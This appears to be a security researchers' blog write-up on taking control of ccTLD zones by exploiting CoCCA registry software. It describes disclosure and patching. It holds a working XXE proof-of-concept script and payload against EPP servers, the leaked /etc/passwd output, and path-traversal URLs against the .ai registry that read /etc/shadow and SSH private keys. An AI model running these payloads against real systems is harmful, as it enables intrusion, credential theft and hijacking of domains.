can I speak to your manager? hacking root EPP servers to take control of zones
Over the last few decades, the internet has been built upon specifications and protocols that often get forgotten about over time. Our research has often been focused on high impact targets (such as Web Hackers vs. The Auto Industry) and for the last few weeks, we decided to investigate the security of ccTLD/TLD registries around the world.
Our efforts in this space led to the ability to control the DNS zones of the following ccTLDs: .ai, .bj, .bw, .ci, .gl, .ke, .kn, .lb, .ly, .mr, .ms, .mz, .ng, .py, .rw, .so, .ss, .td, .zm.
This body of work was done by Sam Curry, Brett Buerhaus, Rhys Elsmore, and Shubham Shah.
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
"What's a registry, registrar and EPP server?"
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄When we speak about registries, we are referring to the highest level of the chain. The registries are responsible for managing every domain registered within their zone and facilitate important functionalities for the registrars that speak to them.
Through hacking a registry, we ultimately gain control over every domain within their zone, regardless of which registrar was responsible for registering the domain.
The registrar is the middle man between the consumer and the registry. When you purchase a domain from a registrar, they speak with the registry and register the domain you have purchased.
EPP (Extensible Provision Protocol) defines a unified way for how registrars can communicate with registries of domain names by exchanging XML messages.
EPP is typically implemented as an API between the registrar’s web interface and the Registry. Such integration allows the registrar to react immediately to requests from its clients and know for sure if the action succeeded or not. Should some action, such as registration of a domain name, to be put off until later, the registry will notify the registrar with the service message.
EPP servers are arguably one of the most critical pieces of infrastructure in the world of domains.
From this context, you can understand that a critical vulnerability that affects a registry or their EPP server, is basically game over.
Gaining control over an entire root zone is not necessarily a new concept, however, historically, it has been executed through misconfigurations in DNS. [1] [2] [3]
While taking over ccTLD's over DNS misconfigurations are cool, our focus was to take over entire zones through vulnerabilities that affect the underlying protocols and web applications that run registries on the internet.
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
"Understanding the EPP protocol"
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄EPP is quite simple actually. It runs on port 700 typically and all communication to the EPP server is done through XML over SSL/TLS. Registries are required to implement an EPP server so that registrars can speak to them and vice versa.
While the protocol is quite simple, many registries make an effort to secure access to their EPP servers through the enforcement of mutual TLS or requiring certain certificates in your CA chain to be able to communicate with them. The 'mutual' in mutual TLS is not the same as client-side certificates.
An example EPP message looks like the one below
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0"><hello/></epp>The EPP protocol is vast, but almost all functionality is only unlocked after authenticating to the EPP server. This whole protocol gets easier to understand once you put yourselves in the shoes of a domain reseller that needs to perform administrative actions on domains that they own.
They are able to connect to the registry EPP server, authenticate to it, and then make the relevant actions for domains they own (i.e. DNS transfer codes, updating WHOIS records). They should only be able to operate on the domains that are within their control.
As per Wikipedia, the protocol has been adopted by a number of ccTLD domain name registries, such as: .ac, .ag, .ai, .as, .ar, .at, .au, .be, .br, .bz, .ca, .cat, .cc, .ch, .cl, .cn, .co, .cr, .cx, .cz, .dk, .dm, .ee, .es (over HTTPS), .eu, .fi, .fm, .fr, .gg, .gr (over HTTPS), .gs, .hn, .ht, .il, .im, .in, .io, .it (over HTTPS), .je, .ke, .ki, .ky, .kz, .la, .lc, .li, .lt, .lu, .lv, .md, .me, .mk, .mn, .ms, .mu, .mx, .na, .nf, .ng, .nl, .no, .nu, .nz (EPP codes referred to as UDAIs), .pe, .pk, .pl (over HTTPS), .ps, .pt, .ru, .ro, .sc, .se, .sh, .si, .su, .tl, .tm .tv, .tw, .ua, .uk, .us, .vc, .ve and .za as well as ENUM registries such as those operating the +31, +41, +43, +44 and +48 country codes.[9]
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
"Attacking the EPP protocol"
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄When hacking any system, you cannot make assumptions on its security posture as you will risk not testing certain vulnerability classes. Coming from the web application security angle, our immediate thoughts for targeting this protocol was testing for the presence of XML external entity injection.
In order to do this, we modified a Python EPP client and crafted an XML payload in the correct format. This XML payload contained our XXE attack at the top. From scanning the internet and relying on passive data for IPs with port 700 open, we were able to amass a large list of EPP servers to attempt our research on.
Our proof-of-concept was extremely effective:
from epp import epp_client
import sys
ip = sys.argv[1]
try:
conn = epp_client.EPPConnection(
host=ip,
port=700,
user='epp_user_01',
password='some_secret',
verbose=True,
return_soup=True,
)
conn.open()
print(conn.call("<?xml version=\"1.0\" standalone=\"no\"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]> <epp xmlns=\"urn:ietf:params:xml:ns:epp-1.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"urn:ietf:params:xml:ns:epp-1.0 epp-1.0.xsd\"> <command> <poll op='req' /> <clTRID>&xxe;</clTRID> </command> </epp>".format(ip)))
except:
print('failed lol')Running this on a vulnerable server yielded the following:
<?xml version="1.0" encoding="UTF-8" standalone="no"?><html><body><epp xmlns="urn:ietf:params:xml:ns:epp-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemalocation="urn:ietf:params:xml:ns:epp-1.0 epp-1.0.xsd"><response><result code="2001"><msg>Command syntax error</msg><extvalue><value xmlns:epp="urn:ietf:params:xml:ns:epp-1.0"><epp:undef></epp:undef></value><reason>XML Parser: unknown-55ccdac19830:0: Schemas validity error : Element '{urn:ietf:params:xml:ns:epp-1.0}clTRID': [facet 'maxLength'] The value has a length of '1845'; this exceeds the allowed maximum length of '64'.
unknown-55ccdac19830:0: Schemas validity error : Element '{urn:ietf:params:xml:ns:epp-1.0}clTRID': 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
sysadm:x:1000:1000:Unprivileged Administrator Account,,,:/home/sysadm:/bin/bash
ansible:x:1001:1001:ansible user:/home/ansible:/bin/bash
sssd:x:106:112:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
bareos:x:107:113:bareos,,,:/var/lib/bareos:/usr/sbin/nologin
nagios:x:108:114::/var/lib/nagios:/usr/sbin/nologin
stunnel4:x:109:115::/var/run/stunnel4:/usr/sbin/nologin
ntp:x:110:116::/nonexistent:/usr/sbin/nologin
_lldpd:x:111:117::/var/run/lldpd:/usr/sbin/nologin
postfix:x:112:119::/var/spool/postfix:/usr/sbin/nologin
' is not a valid value of the atomic type '{urn:ietf:params:xml:ns:epp-1.0}trIDStringType'.
</reason></extvalue></result><trid><svtrid>RO-549-1682827377068386</svtrid></trid></response></epp>Surprisingly, we saw a large number of EPP servers vulnerable to this simple XXE attack. We received over 50 callbacks to our Burp Collaborator server, and in the process of investigating these, we started to see a pattern. Most of the EPP servers that were vulnerable to this were running a registry software named CoCCA Registry Software.
This software allows registries to bootstrap their operations and provides all the functionalities needed for them to operate a TLD/ccTLD. This software has been instrumental in the proliferation of smaller ccTLDs as they often do not have the resources to build all of these functionalities themselves.
Often, ccTLDs are managed by small teams and sometimes this work is outsourced to Universities or private individuals. We sometimes do not recognize the sparseness of resources when it comes to our global internet infrastructure.
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
"Exploring the CoCCA Registry Software"
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄The registry software includes a web application that is used to manage the registry, as well as an in-built EPP server where we discovered our XXE in. This application is written purely in Java, backed by a Postgres database.
We were quickly able to identify the root cause of the XXE when looking at the EppConnection.java class, which initialised an XML reader through the following code:
/* */ public EppConnection() {
/* */ try {
/* 106 */ DocumentBuilderFactory dFactory = DocumentBuilderFactory.newInstance();
/* 107 */ dFactory.setNamespaceAware(true);
/* 108 */ dFactory.setIgnoringElementContentWhitespace(true);
/* 109 */ this.dBuilder = dFactory.newDocumentBuilder();
/* */
/* 111 */ TransformerFactory tFactory = TransformerFactory.newInstance();
/* 112 */ this.transformer = tFactory.newTransformer();
/* 113 */ this.transformer.setOutputProperty("encoding", "UTF-8");
/* 114 */ } catch (ParserConfigurationException e) {
/* 115 */ e.printStackTrace(System.out);
/* 116 */ } catch (TransformerConfigurationException e) {
/* 117 */ e.printStackTrace(System.out);
/* */ }
/* */ }As you can see above, the document builder factory that is used for all XML processing has not been set up to ignore external entities or DTDs. Due to this, any XML processing done by the in-built EPP server was vulnerable to XXE.
The below XXE payload will successfully fire when the EPP server processes our XML:
<?xml version="1.0" standalone="no"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <epp xmlns="urn:ietf:params:xml:ns:epp-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:ietf:params:xml:ns:epp-1.0 epp-1.0.xsd"> <command> <poll op='req' /> <clTRID>&xxe;</clTRID> </command> </epp>This example was also utilized in our simple checker script above in this blog post, and the SYSTEM entity can be changed to a Burp Collaborator URL to capture out of bound hits.
While the XXE was an impactful finding, we became curious about the security posture of this registry software as it is used so heavily to operate a significant portion of the internet as we know it.
Checking the web.xml file, we started mapping out pre-authentication routes until we came across the following servlet definition:
<!-- Cities servlet for contact create -->
<servlet>
<servlet-name>CitiesServlet</servlet-name>
<servlet-class>cx.cocca.utils.CitiesServlet
</servlet-class>
</servlet>
<servlet-mapping>
<url-pattern>/cities</url-pattern>
<servlet-name>CitiesServlet</servlet-name>
</servlet-mapping>The code for this servlet contained a local file disclosure vulnerability:
public class CitiesServlet extends HttpServlet {
private static final Log log = LogFactoryImpl.getLog(cx.cocca.utils.CitiesServlet.class);
private static final String FILE = "/cities/cities_";
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String country = req.getParameter("country");
String fileName = "/cities/cities_" + country;
log.debug("File name is " + fileName);
try (InputStream is = getClass().getResourceAsStream(fileName)) {
StringBuilder sb = new StringBuilder("{\"cities\": [");
if (is != null) {
List<String> cities = IOUtils.readLines(is, "UTF-8");
boolean first = true;
for (String city : cities) {
if (!first)
sb.append(", ");
sb.append("\"");
sb.append(city);
sb.append("\"");
first = false;
}
}
sb.append("]}");
resp.setContentType("application/json");
resp.getWriter().println(sb.toString());
} catch (Exception e) {
log.error("Error loading cities", e);
}
}
}
We were able to chain the XXE vulnerability with this local file disclosure vulnerability to obtain any file on the local system.
The XXE provided us the ability to understand the file and folder structure of the underlying system and this local file disclosure vulnerability let us easily and cleanly download any file on the system.
The XXE can also be used to exfiltrate files, and through the FTP trick, it is possible to obtain files that contain new lines or control characters.
Given that we could access the /etc/shadow file on most servers running this software, it was clear to us that we could access any file on the filesystem, and the application was probably running as root (!!).
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
"Proving Impact"
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄Now that we've established the ground work to be able to compromise servers running the CoCCA registry software, how much damage could an attacker really do?
For the purposes of proving the impact, and given the rise of AI, we focused our efforts on the .AI ccTLD. The following files were able to be obtained through the vulnerabilities we discovered:
https://epp.whois.ai/cities?country=/../../../../../../../../etc/shadow
https://epp.whois.ai/cities?country=/../../../../../../../../home/vince/.ssh/known_hosts
https://epp.whois.ai/cities?country=/../../../../../../../../opt/resin/log/oteaccess.log
https://epp.whois.ai/cities?country=/../../../../../../../../home/garth_cocca/.bash_history
https://epp.whois.ai/cities?country=/../../../../../../../../opt/resin/conf/resin.xml
https://epp.whois.ai/cities?country=/../../../../../../../../root/.psql_history
https://epp.whois.ai/cities?country=/../../../../../../../../home/vince/.ssh/id_rsaWe discovered that one of the maintainers of the .AI registry is a person named Vince. Given that the files obtained via this vulnerability gave us his SSH private key, we validated that we could login to his server, which contained several GPG encrypted backups of the entire .AI registry.
We got in touch with Vince, and he thankfully put us in touch with the relevant people as well as acted diligently in resolving the vulnerabilities on his systems. Temporarily taking them offline while a fix was made available.
Speaking with Vince (the administrator of the .ai zone) over WhatsApp, we confirmed that compromising this server would give us full control over any .ai domain:
The impact unfortunately does not stop there, in the process of reading files from various registry servers running CoCCA, we discovered a file called upload-files-box-com.sh.
As the filename suggests, this script was responsible for taking a full database backup and uploading them to a central box.com account. We validated that these credentials were valid and led to the ability to compromise almost every major ccTLD that was running the CoCCA application:
These database backups are essentially game over. Once administrative access is gained to the CoCCA application, it is possible to control the nameservers for every domain for that ccTLD. Additional impact included the ability to transfer domains that don't belong to you.
All of this was communicated to the affected parties and all of the EPP servers running the CoCCA software that were managed by this central entity have been patched. Whether or not they are still uploading all the database backups to a central box.com account is unknown, but it is clear that the internet is so, so brittle.
The latest version of the CoCCA software contains patches for all of the vulnerabilities we discovered.
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
"Future Work"
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄While we looked at CoCCA in detail, there are two other major registry software that we are aware of where the source code has been made available.
Nomulus, registry software created and used by Google. You can find this software in production, here: domain-registry.appspot.com
Fortunately, Google's defensive programming, prevented them from being vulnerable to XXE via EPP messages:
private static XMLInputFactory createInputFactory() throws FactoryConfigurationError {
// Prevent XXE attacks.
XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory();
xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
return xmlInputFactory;
}
We spent a significant amount of time on Google's registry software and discovered an endpoint that we believe are not supposed to be accessed without authentication, but given that we couldn't prove much security impact, it was not reported to Google.
Another registry software that could be a great research target is Fred, which is managed by the team at nic.cz. It is being used by a lot of different registries, and any pre-authentication vulnerability in this could be critical to the domain infrastructure for the following ccTLDs:
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
"Closing Notes"
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄We thank the CoCCA team for fixing all the issues we identified, Vince from nic.ai, and Mike Damm from Zuffix Domains.